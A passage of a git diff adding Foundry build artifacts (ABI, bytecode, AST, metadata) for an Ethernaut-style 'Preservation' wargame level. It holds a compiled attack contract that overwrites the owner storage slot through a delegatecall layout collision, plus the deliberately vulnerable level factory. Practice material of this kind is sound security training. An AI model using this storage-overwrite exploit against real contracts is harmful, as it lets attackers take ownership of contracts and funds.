Map":"58:231:54:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;154:133;;;;;;:::i;:::-;237:9;:43;;;;;;;;;;;;;;;154:133;;;14:180:155;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:155;;14:180;-1:-1:-1;14:180:155:o","linkReferences":{}},"methodIdentifiers":{"setTime(uint256)":"3beb26c4"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"addressAsUint\",\"type\":\"uint256\"}],\"name\":\"setTime\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/PreservationAttack.sol\":\"PreservationAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/PreservationAttack.sol\":{\"keccak256\":\"0xd2ad21c22b3e3a02e6ef7f93213199a81a96c7da54a3d025bc5b33600c3c7fb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ffef02aca04b6443de8dfe36fd9bc878720099110924ede882076c575e5e43b6\",\"dweb:/ipfs/QmNjesfw9obz1ZhSbch82HRe2hCeQcBV5E5wPRFjXKsW4M\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint256","name":"addressAsUint","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"setTime"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/PreservationAttack.sol":"PreservationAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/PreservationAttack.sol":{"keccak256":"0xd2ad21c22b3e3a02e6ef7f93213199a81a96c7da54a3d025bc5b33600c3c7fb7","urls":["bzz-raw://ffef02aca04b6443de8dfe36fd9bc878720099110924ede882076c575e5e43b6","dweb:/ipfs/QmNjesfw9obz1ZhSbch82HRe2hCeQcBV5E5wPRFjXKsW4M"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/PreservationAttack.sol","id":49684,"exportedSymbols":{"PreservationAttack":[49683]},"nodeType":"SourceUnit","src":"33:257:54","nodes":[{"id":49660,"nodeType":"PragmaDirective","src":"33:23:54","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49683,"nodeType":"ContractDefinition","src":"58:231:54","nodes":[{"id":49662,"nodeType":"VariableDeclaration","src":"92:13:54","nodes":[],"constant":false,"mutability":"mutable","name":"slot0","nameLocation":"100:5:54","scope":49683,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49661,"name":"address","nodeType":"ElementaryTypeName","src":"92:7:54","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":49664,"nodeType":"VariableDeclaration","src":"111:13:54","nodes":[],"constant":false,"mutability":"mutable","name":"slot1","nameLocation":"119:5:54","scope":49683,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49663,"name":"address","nodeType":"ElementaryTypeName","src":"111:7:54","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":49666,"nodeType":"VariableDeclaration","src":"130:17:54","nodes":[],"constant":false,"mutability":"mutable","name":"ownerSlot","nameLocation":"138:9:54","scope":49683,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49665,"name":"address","nodeType":"ElementaryTypeName","src":"130:7:54","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":49682,"nodeType":"FunctionDefinition","src":"154:133:54","nodes":[],"body":{"id":49681,"nodeType":"Block","src":"201:86:54","nodes":[],"statements":[{"expression":{"id":49679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49671,"name":"ownerSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49666,"src":"237:9:54","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":49676,"name":"addressAsUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49668,"src":"265:13:54","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":49675,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"257:7:54","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":49674,"name":"uint160","nodeType":"ElementaryTypeName","src":"257:7:54","typeDescriptions":{}}},"id":49677,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"257:22:54","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":49673,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"249:7:54","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49672,"name":"address","nodeType":"ElementaryTypeName","src":"249:7:54","typeDescriptions":{}}},"id":49678,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"249:31:54","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"237:43:54","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":49680,"nodeType":"ExpressionStatement","src":"237:43:54"}]},"functionSelector":"3beb26c4","implemented":true,"kind":"function","modifiers":[],"name":"setTime","nameLocation":"163:7:54","parameters":{"id":49669,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49668,"mutability":"mutable","name":"addressAsUint","nameLocation":"179:13:54","nodeType":"VariableDeclaration","scope":49682,"src":"171:21:54","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49667,"name":"uint256","nodeType":"ElementaryTypeName","src":"171:7:54","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"170:23:54"},"returnParameters":{"id":49670,"nodeType":"ParameterList","parameters":[],"src":"201:0:54"},"scope":49683,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"PreservationAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49683],"name":"PreservationAttack","nameLocation":"67:18:54","scope":49684,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":54} \ No newline at end of file diff --git a/contracts/out/PreservationFactory.sol/PreservationFactory.json b/contracts/out/PreservationFactory.sol/PreservationFactory.json new file mode 100644 index 000000000..01638920f --- /dev/null +++ b/contracts/out/PreservationFactory.sol/PreservationFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b50610019336100aa565b604051610025906100f9565b604051809103905ff08015801561003e573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039290921691909117905560405161006b906100f9565b604051809103905ff080158015610084573d5f803e3d5ffd5b50600280546001600160a01b0319166001600160a01b0392909216919091179055610105565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60a28061080383390190565b6106f1806101125f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461036f565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610391565b610178565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461036f565b6101f9565b61011461028e565b61011d5f6102e7565b565b6001546002546040515f926001600160a01b039081169216906101419061034e565b6001600160a01b03928316815291166020820152604001604051809103905ff080158015610171573d5f803e3d5ffd5b5092915050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e791906103c8565b6001600160a01b031614949350505050565b61020161028e565b6001600160a01b0381166102825760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61028b816102e7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610279565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102d8806103e483390190565b6001600160a01b038116811461028b575f80fd5b5f6020828403121561037f575f80fd5b813561038a8161035b565b9392505050565b5f80604083850312156103a2575f80fd5b82356103ad8161035b565b915060208301356103bd8161035b565b809150509250929050565b5f602082840312156103d8575f80fd5b815161038a8161035b56fe608060405234801561000f575f80fd5b506040516102d83803806102d883398101604081905261002e91610089565b5f80546001600160a01b039384166001600160a01b03199182161790915560018054929093169181169190911790915560028054909116331790556100ba565b80516001600160a01b0381168114610084575f80fd5b919050565b5f806040838503121561009a575f80fd5b6100a38361006e565b91506100b16020840161006e565b90509250929050565b610211806100c75f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635bda8fa41161004d5780635bda8fa4146100a95780638da5cb5b146100be578063f1e02620146100d1575f80fd5b806327d6974f146100685780633dc7942214610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f5461007b906001600160a01b031681565b6100bc6100b7366004610198565b6100e4565b005b60025461007b906001600160a01b031681565b6100bc6100df366004610198565b61016b565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f1981840301815290829052610128916101af565b5f60405180830381855af49150503d805f8114610160576040519150601f19603f3d011682016040523d82523d5f602084013e610165565b606091505b50505050565b5f54604051630efac9b160e21b6020820152602481018390526001600160a01b039091169060440161010e565b5f602082840312156101a8575f80fd5b5035919050565b5f82515f5b818110156101ce57602081860181015185830152016101b4565b505f92019182525091905056fea2646970667358221220b19f38674ff64108fe7c176a97d29297a530923bccef78328e4b3acca189e5e064736f6c63430008180033a264697066735822122024a80f7246e6a7cb8966222aa7557b8095124ebe37ff42c4b562ef8165bed23164736f6c634300081800336080604052348015600e575f80fd5b5060878061001b5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b60396035366004603b565b5f55565b005b5f60208284031215604a575f80fd5b503591905056fea264697066735822122054cc42bda4d40361c35745312e36fbf52dd734c753eeb1e2c597d6ad1befd80764736f6c63430008180033","sourceMap":"115:707:98:-:0;;;234:153;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;292:21:98;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;258:23:98;:56;;-1:-1:-1;;;;;;258:56:98;-1:-1:-1;;;;;258:56:98;;;;;;;;;;358:21;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;324:23:98;:56;;-1:-1:-1;;;;;;324:56:98;-1:-1:-1;;;;;324:56:98;;;;;;;;;;115:707;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;115:707:98:-;;;;;;;;:::o;:::-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461036f565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610391565b610178565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461036f565b6101f9565b61011461028e565b61011d5f6102e7565b565b6001546002546040515f926001600160a01b039081169216906101419061034e565b6001600160a01b03928316815291166020820152604001604051809103905ff080158015610171573d5f803e3d5ffd5b5092915050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e791906103c8565b6001600160a01b031614949350505050565b61020161028e565b6001600160a01b0381166102825760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61028b816102e7565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610279565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102d8806103e483390190565b6001600160a01b038116811461028b575f80fd5b5f6020828403121561037f575f80fd5b813561038a8161035b565b9392505050565b5f80604083850312156103a2575f80fd5b82356103ad8161035b565b915060208301356103bd8161035b565b809150509250929050565b5f602082840312156103d8575f80fd5b815161038a8161035b56fe608060405234801561000f575f80fd5b506040516102d83803806102d883398101604081905261002e91610089565b5f80546001600160a01b039384166001600160a01b03199182161790915560018054929093169181169190911790915560028054909116331790556100ba565b80516001600160a01b0381168114610084575f80fd5b919050565b5f806040838503121561009a575f80fd5b6100a38361006e565b91506100b16020840161006e565b90509250929050565b610211806100c75f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80635bda8fa41161004d5780635bda8fa4146100a95780638da5cb5b146100be578063f1e02620146100d1575f80fd5b806327d6974f146100685780633dc7942214610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f5461007b906001600160a01b031681565b6100bc6100b7366004610198565b6100e4565b005b60025461007b906001600160a01b031681565b6100bc6100df366004610198565b61016b565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f1981840301815290829052610128916101af565b5f60405180830381855af49150503d805f8114610160576040519150601f19603f3d011682016040523d82523d5f602084013e610165565b606091505b50505050565b5f54604051630efac9b160e21b6020820152602481018390526001600160a01b039091169060440161010e565b5f602082840312156101a8575f80fd5b5035919050565b5f82515f5b818110156101ce57602081860181015185830152016101b4565b505f92019182525091905056fea2646970667358221220b19f38674ff64108fe7c176a97d29297a530923bccef78328e4b3acca189e5e064736f6c63430008180033a264697066735822122024a80f7246e6a7cb8966222aa7557b8095124ebe37ff42c4b562ef8165bed23164736f6c63430008180033","sourceMap":"115:707:98:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;393:199:98;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;393:199:98;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;598:222:98;;;;;;;;;;-1:-1:-1;598:222:98;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;598:222:98;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;393:199:98:-;535:23;;560;;518:66;;467:7;;-1:-1:-1;;;;;535:23:98;;;;560;;518:66;;;:::i;:::-;-1:-1:-1;;;;;1502:15:155;;;1484:34;;1554:15;;1549:2;1534:18;;1527:43;1411:2;1396:18;518:66:98;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;503:82:98;393:199;-1:-1:-1;;393:199:98:o;598:222::-;698:4;714:25;755:9;714:51;;806:7;-1:-1:-1;;;;;782:31:98;:12;-1:-1:-1;;;;;782:18:98;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;782:31:98;;;598:222;-1:-1:-1;;;;598:222:98:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;2039:2:155;2161:73:23::1;::::0;::::1;2021:21:155::0;2078:2;2058:18;;;2051:30;2117:34;2097:18;;;2090:62;2188:8;2168:18;;;2161:36;2214:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2446:2:155;1414:68:23;;;2428:21:155;;;2465:18;;;2458:30;2524:34;2504:18;;;2497:62;2576:18;;1414:68:23;2244:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1581:251::-;1651:6;1704:2;1692:9;1683:7;1679:23;1675:32;1672:52;;;1720:1;1717;1710:12;1672:52;1752:9;1746:16;1771:31;1796:5;1771:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/PreservationFactory.sol\":\"PreservationFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Preservation.sol\":{\"keccak256\":\"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67\",\"dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb\"]},\"src/levels/PreservationFactory.sol\":{\"keccak256\":\"0x09cf5592ff0589796ae9b1bc154a538001e010a4b5e68f52b11626e6c231fe44\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://808c0f881e362c9ff0620092cbc68a49ab505de7d1ddd34586362b95e32c7bc8\",\"dweb:/ipfs/QmRa2NiS2ATDM18EbD6mEtSggZrtZk24rJ7J3EmYSkAR2K\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/PreservationFactory.sol":"PreservationFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.s